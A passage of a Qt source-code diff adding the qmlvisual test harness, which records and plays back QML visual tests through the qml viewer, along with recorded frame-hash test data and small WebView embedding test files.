Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include + +enum Mode { Record, RecordNoVisuals, Play, TestVisuals, RemoveVisuals, UpdateVisuals, UpdatePlatformVisuals, Test }; + +static QString testdir; +class tst_qmlvisual : public QObject +{ + Q_OBJECT +public: + tst_qmlvisual(); + + static QString toTestScript(const QString &, Mode=Test); + static QString viewer(); + + static QStringList findQmlFiles(const QDir &d); +private slots: + void visual_data(); + void visual(); + +private: + QString qmlruntime; +}; + + +tst_qmlvisual::tst_qmlvisual() +{ + qmlruntime = viewer(); +} + +QString tst_qmlvisual::viewer() +{ + QString binaries = QLibraryInfo::location(QLibraryInfo::BinariesPath); + + QString qmlruntime; + +#if defined(Q_WS_MAC) + qmlruntime = QDir(binaries).absoluteFilePath("qml.app/Contents/MacOS/qml"); +#elif defined(Q_WS_WIN) + qmlruntime = QDir(binaries).absoluteFilePath("qml.exe"); +#else + qmlruntime = QDir(binaries).absoluteFilePath("qml"); +#endif + + return qmlruntime; +} + +void tst_qmlvisual::visual_data() +{ + QTest::addColumn("file"); + QTest::addColumn("testdata"); + + QStringList files; + files << findQmlFiles(QDir(QT_TEST_SOURCE_DIR)); + + foreach (const QString &file, files) { + QString testdata = toTestScript(file); + if (testdata.isEmpty()) + continue; + + QTest::newRow(file.toLatin1().constData()) << file << testdata; + } +} + +void tst_qmlvisual::visual() +{ + QFETCH(QString, file); + QFETCH(QString, testdata); + + QStringList arguments; + arguments << "-script" << testdata + << "-scriptopts" << "play,testimages,testerror,exitoncomplete,exitonfailure" + << file; + QProcess p; + p.start(qmlruntime, arguments); + QVERIFY(p.waitForFinished()); + if (p.exitCode() != 0) + qDebug() << p.readAllStandardError(); + QCOMPARE(p.exitStatus(), QProcess::NormalExit); + QCOMPARE(p.exitCode(), 0); +} + +QString tst_qmlvisual::toTestScript(const QString &file, Mode mode) +{ + if (!file.endsWith(".qml")) + return QString(); + + int index = file.lastIndexOf(QDir::separator()); + if (index == -1) + return QString(); + + const char* platformsuffix=0; // platforms with different fonts +#if defined(Q_WS_MACX) + platformsuffix = "-MAC"; +#elif defined(Q_WS_X11) + platformsuffix = "-X11"; +#elif defined(Q_WS_WIN32) + platformsuffix = "-WIN"; +#elif defined(Q_WS_QWS) + platformsuffix = "-QWS"; +#elif defined(Q_WS_S60) + platformsuffix = "-S60"; +#endif + + QString testdata = file.left(index + 1) + + QString("data"); + QString testname = file.mid(index + 1, file.length() - index - 5); + + if (platformsuffix && (mode == UpdatePlatformVisuals || QFile::exists(testdata+QLatin1String(platformsuffix)+QDir::separator()+testname+".qml"))) { + QString platformdir = testdata + QLatin1String(platformsuffix); + if (mode == UpdatePlatformVisuals) { + Q_ASSERT(QDir().mkpath(platformdir)); + // Copy from base + QDir dir(testdata,testname+".*"); + dir.setFilter(QDir::Files); + QFileInfoList list = dir.entryInfoList(); + for (int i = 0; i < list.size(); ++i) { + QFile in(list.at(i).filePath()); + Q_ASSERT(in.open(QIODevice::ReadOnly)); + QFile out(platformdir + QDir::separator() + list.at(i).fileName()); + Q_ASSERT(out.open(QIODevice::WriteOnly)); + out.write(in.readAll()); + } + } + testdata = platformdir; + } + + testdata += QDir::separator() + testname; + + return testdata; +} + +QStringList tst_qmlvisual::findQmlFiles(const QDir &d) +{ + QStringList rv; + + QStringList files = d.entryList(QStringList() << QLatin1String("*.qml"), + QDir::Files); + foreach (const QString &file, files) { + if (file.at(0).isLower()) { + rv << d.absoluteFilePath(file); + } + } + + QStringList dirs = d.entryList(QDir::Dirs | QDir::NoDotAndDotDot | + QDir::NoSymLinks); + foreach (const QString &dir, dirs) { + if (dir.left(4) == "data") + continue; + + QDir sub = d; + sub.cd(dir); + rv << findQmlFiles(sub); + } + + return rv; +} + +void action(Mode mode, const QString &file) +{ + Q_ASSERT(mode != Test); + + QString testdata = tst_qmlvisual::toTestScript(file,mode); + + QStringList arguments; + switch (mode) { + case Test: + // Don't run qml + break; + case Record: + arguments << "-script" << testdata + << "-scriptopts" << "record,testimages,saveonexit" + << file; + break; + case RecordNoVisuals: + arguments << "-script" << testdata + << "-scriptopts" << "record,saveonexit" + << file; + break; + case Play: + arguments << "-script" << testdata + << "-scriptopts" << "play,testimages,testerror,exitoncomplete" + << file; + break; + case TestVisuals: + arguments << "-script" << testdata + << "-scriptopts" << "play" + << file; + break; + case UpdateVisuals: + case UpdatePlatformVisuals: + arguments << "-script" << testdata + << "-scriptopts" << "play,record,testimages,exitoncomplete,saveonexit" + << file; + break; + case RemoveVisuals: + arguments << "-script" << testdata + << "-scriptopts" << "play,record,exitoncomplete,saveonexit" + << file; + break; + } + if (!arguments.isEmpty()) { + QProcess p; + p.setProcessChannelMode(QProcess::ForwardedChannels); + p.start(tst_qmlvisual::viewer(), arguments); + p.waitForFinished(); + } +} + +void usage() +{ + fprintf(stderr, "\n"); + fprintf(stderr, "QML related options\n"); + fprintf(stderr, " -listtests : list all the tests seen by tst_qmlvisual, and then exit immediately\n"); + fprintf(stderr, " -record file : record new test data for file\n"); + fprintf(stderr, " -recordnovisuals file : record new test data for file, but ignore visuals\n"); + fprintf(stderr, " -play file : playback test data for file, printing errors\n"); + fprintf(stderr, " -testvisuals file : playback test data for file, without errors\n"); + fprintf(stderr, " -updatevisuals file : playback test data for file, accept new visuals for file\n"); + fprintf(stderr, " -updateplatformvisuals file : playback test data for file, accept new visuals for file only on current platform (MacOSX/Win32/X11/QWS/S60)\n"); + fprintf(stderr, "\n" + "Visual tests are recordings of manual interactions with a QML test,\n" + "that can then be run automatically. To record a new test, run:\n" + "\n" + " tst_qmlvisual -record yourtestdir/yourtest.qml\n" + "\n" + "This records everything you do (try to keep it short).\n" + "To play back a test, run:\n" + "\n" + " tst_qmlvisual -play yourtestdir/yourtest.qml\n" + "\n" + "Your test may include QML code to test itself, reporting any error to an\n" + "'error' property on the root object - the test will fail if this property\n" + "gets set to anything non-empty.\n" + "\n" + "If your test changes slightly but is still correct (check with -play), you\n" + "can update the visuals by running:\n" + "\n" + " tst_qmlvisual -updatevisuals yourtestdir/yourtest.qml\n" + "\n" + "If your test includes platform-sensitive visuals (eg. text in system fonts),\n" + "you should create platform-specific visuals, using -updateplatformvisuals\n" + "instead.\n" + "\n" + "If you ONLY wish to use the 'error' property, you can record your test with\n" + "-recordnovisuals, or discard existing visuals with -removevisuals; the test\n" + "will then only fail on a syntax error, crash, or non-empty 'error' property.\n" + ); +} + +int main(int argc, char **argv) +{ + QApplication app(argc, argv); + + Mode mode = Test; + QString file; + bool showHelp = false; + + int newArgc = 1; + char **newArgv = new char*[argc]; + newArgv[0] = argv[0]; + + for (int ii = 1; ii < argc; ++ii) { + QString arg(argv[ii]); + if (arg == "-play" && (ii + 1) < argc) { + mode = Play; + file = argv[++ii]; + } else if (arg == "-record" && (ii + 1) < argc) { + mode = Record; + file = argv[++ii]; + } else if (arg == "-recordnovisuals" && (ii + 1) < argc) { + mode = RecordNoVisuals; + file = argv[++ii]; + } else if (arg == "-testvisuals" && (ii + 1) < argc) { + mode = TestVisuals; + file = argv[++ii]; + } else if (arg == "-removevisuals" && (ii + 1) < argc) { + mode = RemoveVisuals; + file = argv[++ii]; + } else if (arg == "-updatevisuals" && (ii + 1) < argc) { + mode = UpdateVisuals; + file = argv[++ii]; + } else if (arg == "-updateplatformvisuals" && (ii + 1) < argc) { + mode = UpdatePlatformVisuals; + file = argv[++ii]; + } else { + newArgv[newArgc++] = argv[ii]; + } + + if (arg == "-help" || arg == "-?" || arg == "--help") { + atexit(usage); + showHelp = true; + } + + if (arg == "-listtests") { + QStringList list = tst_qmlvisual::findQmlFiles(QDir(QT_TEST_SOURCE_DIR)); + foreach (QString test, list) { + qWarning() << qPrintable(test); + } + return 0; + } + } + + if (mode == Test || showHelp) { + tst_qmlvisual tc; + return QTest::qExec(&tc, newArgc, newArgv); + } else { + if (!file.endsWith(QLatin1String(".qml"))) { + qWarning() << "Error: Invalid file name (must end in .qml)"; + return -1; + } + QDir d = QDir::current(); + QString absFile = d.absoluteFilePath(file); + if (!QFile::exists(absFile)) { + qWarning() << "Error: File does not exist"; + return -1; + } + + action(mode, absFile); + return 0; + } +} + +#include "tst_qmlvisual.moc" diff --git a/tests/auto/declarative/qmlvisual/webview/embedding/data/nesting.0.png b/tests/auto/declarative/qmlvisual/webview/embedding/data/nesting.0.png new file mode 100644 index 0000000..57de710 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/embedding/data/nesting.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/embedding/data/nesting.qml b/tests/auto/declarative/qmlvisual/webview/embedding/data/nesting.qml new file mode 100644 index 0000000..8d38ebe --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/embedding/data/nesting.qml @@ -0,0 +1,363 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "5dc8dca7a73022fbf2116b654b709244" + } + Frame { + msec: 32 + hash: "5dc8dca7a73022fbf2116b654b709244" + } + Frame { + msec: 48 + hash: "34079c4076ab6aadd8b64fcba7d95e15" + } + Frame { + msec: 64 + hash: "5ab5fc62b49e78d0609dcb4be6c9a157" + } + Frame { + msec: 80 + hash: "063cc7438bbffae717648d98006021a8" + } + Frame { + msec: 96 + hash: "c5cd16663e48639cbeade82c3bfa0403" + } + Frame { + msec: 112 + hash: "ea7f8df84ddbad0f683fe97ddb0a0130" + } + Frame { + msec: 128 + hash: "3c353e09bdb3a1e6ff388ad6020f55ea" + } + Frame { + msec: 144 + hash: "5b6de430365d0c9824337011916b0c0b" + } + Frame { + msec: 160 + hash: "48d353ac9e7ee1ce41361d0a2b47e008" + } + Frame { + msec: 176 + hash: "c96e4d02d343ddd78e8d3dd6aa8e0198" + } + Frame { + msec: 192 + hash: "543c63d77ec635b77672ba4c5160a3d4" + } + Frame { + msec: 208 + hash: "2d56ad9c2352e555fef613d625e71151" + } + Frame { + msec: 224 + hash: "18e433c3e3ee64510f875f674791d51c" + } + Frame { + msec: 240 + hash: "56889122c1ddacdd8ebd88310c7410bc" + } + Frame { + msec: 256 + hash: "d51c85458e0109bd5bf9528b741d98d0" + } + Frame { + msec: 272 + hash: "ac54137afc29a3022c6f01df7cdf2fd6" + } + Frame { + msec: 288 + hash: "c7a42b389bae3b729ba9e6cba7f54530" + } + Frame { + msec: 304 + hash: "7583b55841e80891652c3472c658f989" + } + Frame { + msec: 320 + hash: "95a7f8d47c3788261427727f82c9ff59" + } + Frame { + msec: 336 + hash: "a87bad3e2f010680e16cd1e3f5e03e99" + } + Frame { + msec: 352 + hash: "e16bc51653f21819e0eec412b99a069f" + } + Frame { + msec: 368 + hash: "f1e869580ac148ae207141c5f0adc185" + } + Frame { + msec: 384 + hash: "7e496e44363a16d7c62e4258af9ce087" + } + Frame { + msec: 400 + hash: "19e97915c84d3554c66d5a9ad3aa6a3e" + } + Frame { + msec: 416 + hash: "181181b48a1085d1850f18ca9b163549" + } + Frame { + msec: 432 + hash: "4637cb04595a543867bd43b0c1c829ea" + } + Frame { + msec: 448 + hash: "bd0a074fed5507f8556de6110bf56aa4" + } + Frame { + msec: 464 + hash: "9547618923edac6f7f9a3ff324c4f2d8" + } + Frame { + msec: 480 + hash: "a2f90c88eacb7c66878d45e33c2a787d" + } + Frame { + msec: 496 + hash: "d5ffd3e35d0426887c106069310f84d8" + } + Frame { + msec: 512 + hash: "6bc50a5b76e2a2ef0e6bee762abeb330" + } + Frame { + msec: 528 + hash: "d4439933c842ed8432434d272fea2845" + } + Frame { + msec: 544 + hash: "61699e6ec476ac3f090e4f485430421d" + } + Frame { + msec: 560 + hash: "02d7fa9bcd697d2cab364d0a3ca4a0e2" + } + Frame { + msec: 576 + hash: "914178cbf1f6a6822cc40f81823475e4" + } + Frame { + msec: 592 + hash: "280f867ea27891ee764332998567d40d" + } + Frame { + msec: 608 + hash: "ea0d00fe54a172a89c24eac781f7ae6d" + } + Frame { + msec: 624 + hash: "4e910fb507964a710e26f318c62227bf" + } + Frame { + msec: 640 + hash: "b0c3392eb739f270dd21f552ad999c23" + } + Frame { + msec: 656 + hash: "f3698c83b0972bd66a53ad95d4fc301e" + } + Frame { + msec: 672 + hash: "0d303a0d6a9b626943ac93cc6f3fb230" + } + Frame { + msec: 688 + hash: "ba56d49e6f51aa6f1bd2a7500e3538fd" + } + Frame { + msec: 704 + hash: "273ce89d5194168e5bfd1dcefad49be2" + } + Frame { + msec: 720 + hash: "c2beef4fb7996dbccdaff4f54bdc33f1" + } + Frame { + msec: 736 + hash: "1e1aa7d84f27158a8e61bd8698ddbf2a" + } + Frame { + msec: 752 + hash: "24e82479802e710c673133ca0413be66" + } + Frame { + msec: 768 + hash: "b77e935a690bcb396e15b942d772cf1b" + } + Frame { + msec: 784 + hash: "7b729c74df1d15d6b0e8e1fc19c2d710" + } + Frame { + msec: 800 + hash: "fd6cbdca3e481baaf35022dfea76e74c" + } + Frame { + msec: 816 + hash: "c975f6eb592793aa81895ffcb74ca577" + } + Frame { + msec: 832 + hash: "677c4039a650df53b4e885f37b049ab3" + } + Frame { + msec: 848 + hash: "89563aae36552cb1749ec06567e46d9d" + } + Frame { + msec: 864 + hash: "01f57402874de6608cc02937aaf91794" + } + Frame { + msec: 880 + hash: "50c9c4e5eaaadee1ff230975390d34e3" + } + Frame { + msec: 896 + hash: "20b7d277d398afad59afdf9e6b41a57e" + } + Frame { + msec: 912 + hash: "8f9ea938a2375afeba419199de66dd52" + } + Frame { + msec: 928 + hash: "b96745888ba954bcf304c0840a030f93" + } + Frame { + msec: 944 + hash: "f5715e931274011123160f7ad10d6c52" + } + Frame { + msec: 960 + image: "nesting.0.png" + } + Frame { + msec: 976 + hash: "459fe967816c795a177a3926093fae75" + } + Frame { + msec: 992 + hash: "c599a26083068b6db628c8d8416bab60" + } + Frame { + msec: 1008 + hash: "e0aee7d1152c971b1beee9d36542acb7" + } + Frame { + msec: 1024 + hash: "2af0facdf6412f7b06979aae25e4db26" + } + Frame { + msec: 1040 + hash: "f147a92cb1826f95d4fdb7d011ba79b1" + } + Frame { + msec: 1056 + hash: "12a1cb894b0fb8e44152cccacf855c1a" + } + Frame { + msec: 1072 + hash: "c7500cf58b74fef2c3e9820d1de8f843" + } + Frame { + msec: 1088 + hash: "3a031b2206835f8b2dc9837016df6ae6" + } + Frame { + msec: 1104 + hash: "7a4796b419bbc04237764dea0b1d47d5" + } + Frame { + msec: 1120 + hash: "151d350f0064e2faf0bfb9c58bc3e4f2" + } + Frame { + msec: 1136 + hash: "d72c20a97e678908acc1d6c1f8114d9e" + } + Frame { + msec: 1152 + hash: "22da1e645640a3c31b064ff757113197" + } + Frame { + msec: 1168 + hash: "401f0bf370e2ecea5a84276fb72eb1da" + } + Frame { + msec: 1184 + hash: "c6e00d7b0ac14a5c3860b6a29901c915" + } + Frame { + msec: 1200 + hash: "f1f7dc55d7719fcb6e97157c0ca85fc0" + } + Frame { + msec: 1216 + hash: "6a112e1d79c7128c235d093e4f1f9325" + } + Frame { + msec: 1232 + hash: "14a2caf8cdca8d5147261a315059b69d" + } + Frame { + msec: 1248 + hash: "5645243aa3cfd12b0b32442f063bedb2" + } + Frame { + msec: 1264 + hash: "c7f72534a88e33c72a54cb8580534551" + } + Frame { + msec: 1280 + hash: "6cd5e2e8e0128586a682b3c649ae0631" + } + Frame { + msec: 1296 + hash: "67cefb4526b52d40a31811bc0dfaeb6a" + } + Frame { + msec: 1312 + hash: "fbe2a43a27bf490719c8b9e2b094e34f" + } + Frame { + msec: 1328 + hash: "e028aad6f51a47d8189efcf9c5d277ee" + } + Frame { + msec: 1344 + hash: "2b4cc50c37c07289fa6f9309991d36da" + } + Frame { + msec: 1360 + hash: "b67b2244cd0616d07e100d7b3b00bbe2" + } + Frame { + msec: 1376 + hash: "4e4690cffc98c49e91bdb600f1e94c79" + } + Frame { + msec: 1392 + hash: "e5215c727836a5547a170d42363bc5c8" + } + Frame { + msec: 1408 + hash: "26868e91d1794bb3f42d51f508fef613" + } + Frame { + msec: 1424 + hash: "1e5f431b125a66096ac9a4d5a211a2c4" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/embedding/egg.qml b/tests/auto/declarative/qmlvisual/webview/embedding/egg.qml new file mode 100644 index 0000000..fe1bb70 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/embedding/egg.qml @@ -0,0 +1,26 @@ +import Qt 4.6 + +Item { + property var period : 250 + property var color : "black" + id: root + + Item { + x: root.width/2 + y: root.height/2 + Rectangle { + radius: width/2 + color: root.color + x: -width/2 + y: -height/2 + width: root.width*1.5 + height: root.height*1.5 + } + rotation: NumberAnimation { + from: 0 + to: 360 + repeat: true + duration: root.period + } + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/embedding/nesting.html b/tests/auto/declarative/qmlvisual/webview/embedding/nesting.html new file mode 100644 index 0000000..6e81689 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/embedding/nesting.html @@ -0,0 +1,9 @@ + +Nesting + + + +

Nesting

+This is a test... + +... with a spinning QML egg nested in it. diff --git a/tests/auto/declarative/qmlvisual/webview/embedding/nesting.qml b/tests/auto/declarative/qmlvisual/webview/embedding/nesting.qml new file mode 100644 index 0000000..5e35306 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/embedding/nesting.qml @@ -0,0 +1,9 @@ +import Qt 4.6 +import org.webkit 1.0 + +WebView { + width: 300 + height: 200 + url: "nesting.html" + settings.pluginsEnabled: true +} diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.0.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.0.png new file mode 100644 index 0000000..139aa9d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.1.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.1.png new file mode 100644 index 0000000..e2e1644 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.1.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.2.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.2.png new file mode 100644 index 0000000..aa2fb82 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.2.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.3.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.3.png new file mode 100644 index 0000000..1976430 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.3.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.4.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.4.png new file mode 100644 index 0000000..c895a0a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.4.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.5.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.5.png new file mode 100644 index 0000000..c895a0a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.5.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.6.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.6.png new file mode 100644 index 0000000..c895a0a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.6.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.7.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.7.png new file mode 100644 index 0000000..c895a0a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.7.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.8.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.8.png new file mode 100644 index 0000000..c895a0a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.8.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.qml b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.qml new file mode 100644 index 0000000..957f9d5 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.qml @@ -0,0 +1,3759 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 32 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 48 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 64 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 80 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 96 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 112 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 128 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 144 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 160 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 176 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 192 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 208 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 224 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 240 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 256 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 272 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 288 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 304 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 320 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 336 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 352 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 368 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 384 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 400 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 416 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 195; y: 25 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 187; y: 35 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 432 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 153; y: 77 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 448 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 145; y: 87 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 139; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 464 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 135; y: 111 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 129; y: 121 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 480 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 125; y: 131 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 121; y: 139 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 117; y: 149 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 496 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 111; y: 157 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 512 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 107; y: 165 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 101; y: 171 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 528 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 97; y: 177 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 95; y: 185 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 544 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 189 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 89; y: 195 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 560 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 85; y: 199 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 84; y: 201 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 576 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 83; y: 203 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 82; y: 204 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 81; y: 204 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 592 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 80; y: 204 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 608 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 79; y: 205 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 78; y: 206 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 624 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 77; y: 207 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 76; y: 208 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 75; y: 210 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 640 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 71; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 656 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 70; y: 218 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 70; y: 220 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 672 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 69; y: 222 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 68; y: 224 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 688 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 67; y: 225 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 704 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 720 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 736 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 752 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 768 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Frame { + msec: 784 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 67; y: 225 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 800 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 66; y: 224 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 816 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 66; y: 222 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 832 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 65; y: 221 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 61; y: 217 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 848 + hash: "f35c69aed43a795ff02b46d7b01ef64a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 60; y: 215 + modifiers: 0 + sendToViewport: true + } 